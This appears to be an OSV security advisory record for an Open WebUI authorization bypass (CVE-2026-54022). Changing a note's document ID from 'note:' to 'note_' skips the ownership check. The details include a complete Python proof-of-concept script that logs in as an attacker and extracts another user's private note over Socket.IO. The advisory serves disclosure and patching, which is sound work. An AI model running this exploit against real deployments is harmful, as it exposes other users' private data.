{"id":"PYSEC-2026-2712","summary":"Open WebUI: Any authenticated user can read other users' private notes via Socket.IO","details":"### Summary\n\nThe `ydoc:document:join` Socket.IO handler checks note ownership only when the `document_id` starts with `note:` (colon). However, the `YdocManager` storage layer normalizes all document IDs by replacing colons with underscores (`document_id.replace(\":\", \"_\")`). An attacker can join a document room using `note_\u003cid\u003e` (underscore) instead of `note:\u003cid\u003e` (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.\n\n### Details\n\nThe `ydoc:document:join` handler in `socket/main.py` (line 511) only performs authorization for document IDs matching the `note:` prefix:\n\n```python\n@sio.on(\"ydoc:document:join\")\nasync def ydoc_document_join(sid, data):\n    document_id = data[\"document_id\"]\n\n    if document_id.startswith(\"note:\"):\n        note_id = document_id.split(\":\")[1]\n        note = Notes.get_note_by_id(note_id)\n        # ... ownership and AccessGrants check ...\n        # Returns early if user doesn't have access\n\n    # If document_id does NOT start with \"note:\", execution continues\n    # with no authorization check at all\n\n    await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)\n    await sio.enter_room(sid, f\"doc_{document_id}\")\n\n    ydoc = Y.Doc()\n    updates = await YDOC_MANAGER.get_updates(document_id)\n    for update in updates:\n        ydoc.apply_update(bytes(update))\n\n    state_update = ydoc.get_update()\n    await sio.emit(\"ydoc:document:state\", {\n        \"document_id\": document_id,\n        \"state\": list(state_update),\n    }, room=sid)\n```\n\nThe `YdocManager` class in `socket/utils.py` normalizes document IDs in every method by replacing colons with underscores:\n\n```python\nasync def get_updates(self, document_id: str) -\u003e List[bytes]:\n    document_id = document_id.replace(\":\", \"_\")  # line 176\n    # ... returns updates keyed by normalized ID\n\nasync def append_to_updates(self, document_id: str, update: bytes):\n    document_id = document_id.replace(\":\", \"_\")  # line 134\n    # ... stores update keyed by normalized ID\n```\n\nThis means `note:abc123` and `note_abc123` resolve to the same storage key (`note_abc123`). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the `startswith(\"note:\")` authorization check but retrieves the same data from `YdocManager`.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nuv run --no-project --with requests --with \"python-socketio[asyncio_client]\" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS\n\nFinding #15 — Any authenticated user can read other users' private notes via Socket.IO\n\nSUMMARY:\n  The ydoc:document:join Socket.IO handler only checks authorization for\n  document IDs starting with \"note:\" (colon). However, YdocManager normalizes\n  document IDs by replacing colons with underscores internally. An attacker\n  can join a room using \"note_\u003cid\u003e\" (underscore) to bypass the auth check,\n  while still accessing the same underlying Yjs document as \"note:\u003cid\u003e\".\n  Then ydoc:document:state returns the full document content.\n\nVULNERABLE CODE:\n  backend/open_webui/socket/main.py, ydoc:document:join:\n    if document_id.startswith(\"note:\"):\n        # permission check only for colon-prefix\n    # \"note_\u003cid\u003e\" skips this check entirely\n\n  backend/open_webui/socket/ydoc.py, YdocManager:\n    key = document_id.replace(\":\", \"_\")  # normalizes to same storage key\n\nIMPACT:\n  Any authenticated user can read the full content of any other user's notes\n  by exploiting the namespace collision between \"note:\" and \"note_\" prefixes.\n\nREPRODUCTION:\n  1. Victim creates a private note with sensitive content.\n  2. Attacker connects via Socket.IO and authenticates.\n  3. Attacker joins room with document_id \"note_\u003cvictim_note_id\u003e\" (underscore).\n  4. Attacker requests ydoc:document:state to get the full note content.\n\nREQUIREMENTS:\n  - Running Open WebUI instance\n  - A victim note with content\n  - Attacker user (any authenticated user)\n\"\"\"\n\nimport argparse\nimport asyncio\nimport sys\nimport requests\nimport socketio\n\n\nasync def victim_initialize_note(base, victim_token, note_id):\n    \"\"\"Simulate victim opening the note in the UI to initialize the Yjs document.\"\"\"\n    sio = socketio.AsyncClient()\n\n    await sio.connect(\n        base,\n        socketio_path=\"/ws/socket.io\",\n        headers={\"Authorization\": f\"Bearer {victim_token}\"},\n        transports=[\"websocket\"],\n    )\n\n    # Join using the proper note:id format (passes auth check since victim owns it)\n    doc_id = f\"note:{note_id}\"\n    print(f\"    Joining as victim with document_id: {doc_id}\")\n\n    await sio.emit(\"ydoc:document:join\", {\n        \"document_id\": doc_id,\n        \"user_id\": \"victim\",\n        \"user_name\": \"Victim\",\n    })\n    await asyncio.sleep(1)\n\n    # Send a Yjs update with the note content\n    # Create a simple Yjs document with text content\n    try:\n        import pycrdt as Y\n        ydoc = Y.Doc()\n        ytext = ydoc.get(\"default\", type=Y.Text)\n        with ydoc.transaction():\n            ytext += \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\"\n        update = ydoc.get_update()\n\n        await sio.emit(\"ydoc:document:update\", {\n            \"document_id\": doc_id,\n            \"update\": list(update),\n        })\n        print(f\"    Sent Yjs update with note content ({len(update)} bytes)\")\n    except ImportError:\n        # If pycrdt not available, try y-py\n        try:\n            import y_py as Y\n            ydoc = Y.YDoc()\n            ytext = ydoc.get_text(\"default\")\n            with ydoc.begin_transaction() as txn:\n                ytext.extend(txn, \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\")\n            update = txn.get_update()\n\n            await sio.emit(\"ydoc:document:update\", {\n                \"document_id\": doc_id,\n                \"update\": list(update),\n            })\n            print(f\"    Sent Yjs update with note content ({len(update)} bytes)\")\n        except ImportError:\n            print(\"    WARNING: Neither pycrdt nor y-py available, sending raw text marker\")\n            # Send a minimal marker that we can detect\n            raw_update = list(b\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00SECRET_NOTE_CONTENT_MARKER\")\n            await sio.emit(\"ydoc:document:update\", {\n                \"document_id\": doc_id,\n                \"update\": raw_update,\n            })\n\n    await asyncio.sleep(1)\n    await sio.disconnect()\n    print(f\"    Victim disconnected\")\n\n\nasync def exploit(base, attacker_token, victim_note_id):\n    sio = socketio.AsyncClient()\n    result = {\"state\": None, \"error\": None, \"joined\": False}\n\n    @sio.on(\"ydoc:document:state\")\n    async def on_state(data):\n        result[\"state\"] = data\n        print(f\"    [!] Received ydoc:document:state event!\")\n        print(f\"        document_id: {data.get('document_id', '?')}\")\n        state = data.get(\"state\", [])\n        print(f\"        State size: {len(state)} bytes\")\n\n    @sio.on(\"error\")\n    async def on_error(data):\n        result[\"error\"] = data\n        print(f\"    [!] Error event: {data}\")\n\n    @sio.on(\"*\")\n    async def catch_all(event, data):\n        if event not in (\"ydoc:document:state\", \"error\"):\n            print(f\"    [debug] Event: {event} Data: {str(data)[:200]}\")\n\n    # Connect with auth token\n    print(f\"[*] Connecting as attacker to Socket.IO...\")\n    await sio.connect(\n        base,\n        socketio_path=\"/ws/socket.io\",\n        auth={\"token\": attacker_token},\n        transports=[\"websocket\"],\n    )\n\n    # Join with \"note_\" prefix (underscore — bypasses auth)\n    bypass_doc_id = f\"note_{victim_note_id}\"\n    print(f\"\\n[*] Step 3: Joining room with bypassed document_id: {bypass_doc_id}\")\n    print(f\"    (using underscore instead of colon to skip auth check)\")\n\n    await sio.emit(\"ydoc:document:join\", {\n        \"document_id\": bypass_doc_id,\n        \"user_id\": \"attacker\",\n        \"user_name\": \"Attacker\",\n    })\n\n    result[\"joined\"] = True\n\n    # Wait for state response (from join handler's emit)\n    for _ in range(20):\n        await asyncio.sleep(0.5)\n        if result[\"state\"]:\n            break\n\n    await sio.disconnect()\n    return result\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Finding #15: Yjs note disclosure via namespace collision\")\n    parser.add_argument(\"--base-url\", required=True)\n    parser.add_argument(\"--attacker-email\", required=True)\n    parser.add_argument(\"--attacker-password\", required=True)\n    parser.add_argument(\"--victim-email\", required=True)\n    parser.add_argument(\"--victim-password\", required=True)\n    args = parser.parse_args()\n\n    base = args.base_url.rstrip(\"/\")\n\n    # ── Step 1: Login as victim and find their note ──\n    print(\"[*] Authenticating as victim...\")\n    r = requests.post(f\"{base}/api/v1/auths/signin\",\n                      json={\"email\": args.victim_email, \"password\": args.victim_password})\n    if not r.ok:\n        print(f\"[-] Victim login failed: {r.status_code}\")\n        sys.exit(1)\n    victim_token = r.json()[\"token\"]\n    victim_id = r.json()[\"id\"]\n    print(f\"[+] Logged in as victim (id={victim_id})\")\n\n    r = requests.get(f\"{base}/api/v1/notes/\", headers={\"Authorization\": f\"Bearer {victim_token}\"})\n    if not r.ok:\n        print(f\"[-] Failed to list victim notes: {r.status_code}\")\n        sys.exit(1)\n    notes = r.json()\n    if isinstance(notes, dict):\n        notes = notes.get(\"items\", notes.get(\"data\", []))\n    if not notes:\n        print(\"[-] No victim notes found\")\n        sys.exit(1)\n    victim_note = notes[0]\n    victim_note_id = victim_note[\"id\"]\n    print(f\"[+] Victim's note: {victim_note.get('title', '?')} (id={victim_note_id})\")\n\n    # ── Step 2: Login as attacker ──\n    print(f\"\\n[*] Authenticating as attacker...\")\n    r = requests.post(f\"{base}/api/v1/auths/signin\",\n                      json={\"email\": args.attacker_email, \"password\": args.attacker_password})\n    if not r.ok:\n        print(f\"[-] Attacker login failed: {r.status_code}\")\n        sys.exit(1)\n    attacker_token = r.json()[\"token\"]\n    attacker_id = r.json()[\"id\"]\n    print(f\"[+] Logged in as attacker (id={attacker_id})\")\n\n    # ── Step 3: Confirm attacker CANNOT read victim's note via API ──\n    print(f\"\\n[*] Step 1: Confirming attacker cannot read victim's note via API...\")\n    r = requests.get(f\"{base}/api/v1/notes/{victim_note_id}\",\n                     headers={\"Authorization\": f\"Bearer {attacker_token}\"})\n    if r.status_code in (401, 403, 404):\n        print(f\"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})\")\n    else:\n        print(f\"[!] Unexpected: attacker can read note (status {r.status_code})\")\n\n    # ── Step 4 & 5: Victim opens note, attacker reads it concurrently ──\n    async def combined_exploit():\n        # Victim opens note and stays connected\n        print(f\"\\n[*] Step 2: Victim opens note (stays connected)...\")\n        victim_sio = socketio.AsyncClient()\n        await victim_sio.connect(\n            base,\n            socketio_path=\"/ws/socket.io\",\n            auth={\"token\": victim_token},\n            transports=[\"websocket\"],\n        )\n        doc_id = f\"note:{victim_note_id}\"\n        await victim_sio.emit(\"ydoc:document:join\", {\n            \"document_id\": doc_id,\n            \"user_id\": \"victim\",\n            \"user_name\": \"Victim\",\n        })\n        await asyncio.sleep(1)\n\n        # Send Yjs update with note content\n        try:\n            import pycrdt as Y\n            ydoc = Y.Doc()\n            ytext = ydoc.get(\"default\", type=Y.Text)\n            with ydoc.transaction():\n                ytext += \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\"\n            update = ydoc.get_update()\n            await victim_sio.emit(\"ydoc:document:update\", {\n                \"document_id\": doc_id,\n                \"update\": list(update),\n            })\n            print(f\"    Sent Yjs update ({len(update)} bytes)\")\n        except Exception as e:\n            print(f\"    WARNING: Could not create Yjs update: {e}\")\n\n        await asyncio.sleep(1)\n\n        # Now attacker joins while victim is still connected\n        result = await exploit(base, attacker_token, victim_note_id)\n\n        # Clean up victim connection\n        await victim_sio.disconnect()\n        return result\n\n    result = asyncio.run(combined_exploit())\n\n    if not result[\"joined\"]:\n        print(f\"\\n[-] Failed to join document room\")\n        sys.exit(1)\n\n    if result[\"state\"]:\n        state_data = result[\"state\"]\n        state_bytes = bytes(state_data.get(\"state\", []))\n\n        # Try to extract readable text from the Yjs state\n        # Yjs binary format contains the text as embedded strings\n        text_content = \"\"\n        try:\n            # Search for readable ASCII strings in the binary data\n            current_str = \"\"\n            for b in state_bytes:\n                if 32 \u003c= b \u003c 127:\n                    current_str += chr(b)\n                else:\n                    if len(current_str) \u003e 5:\n                        text_content += current_str + \" \"\n                    current_str = \"\"\n            if len(current_str) \u003e 5:\n                text_content += current_str\n        except Exception:\n            pass\n\n        print(f\"\\n[+] Extracted text from Yjs state:\")\n        print(f\"    {text_content[:500]}\")\n\n        # Check for sensitive markers\n        sensitive_markers = [\"p@ssw0rd\", \"SuperSecret\", \"Private Notes\", \"production DB\", \"AWS root\"]\n        found = [m for m in sensitive_markers if m.lower() in text_content.lower()]\n\n        if found:\n            print(f\"\\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!\")\n            print(f\"    Sensitive markers found: {found}\")\n            print(f\"    The attacker joined room 'doc_note_{victim_note_id}' (underscore)\")\n            print(f\"    which bypasses the auth check (only checks 'note:' colon prefix)\")\n            print(f\"    but accesses the same Yjs document due to normalization.\")\n            sys.exit(0)\n        elif text_content.strip():\n            print(f\"\\n[+] SUCCESS: Note content retrieved (markers may differ)\")\n            print(f\"    Non-empty Yjs state was returned for victim's note.\")\n            sys.exit(0)\n        else:\n            print(f\"\\n[*] Yjs state was returned but could not extract readable text.\")\n            print(f\"    Raw state size: {len(state_bytes)} bytes\")\n            if len(state_bytes) \u003e 10:\n                print(f\"    First 50 bytes: {list(state_bytes[:50])}\")\n                print(f\"[+] SUCCESS: Non-trivial document state returned\")\n                sys.exit(0)\n            sys.exit(1)\n    else:\n        print(f\"\\n[-] No document state received\")\n        print(f\"    The Yjs document may not exist in storage yet.\")\n        print(f\"    Notes must be opened in the UI to create a Yjs document.\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n\nAny authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use --  private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.","aliases":["CVE-2026-54022","GHSA-8788-j68r-3cgh"],"modified":"2026-07-13T16:32:18.789132190Z","published":"2026-07-13T15:46:19.994746Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-8788-j68r-3cgh"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8788-j68r-3cgh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54022"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.11"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2712.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}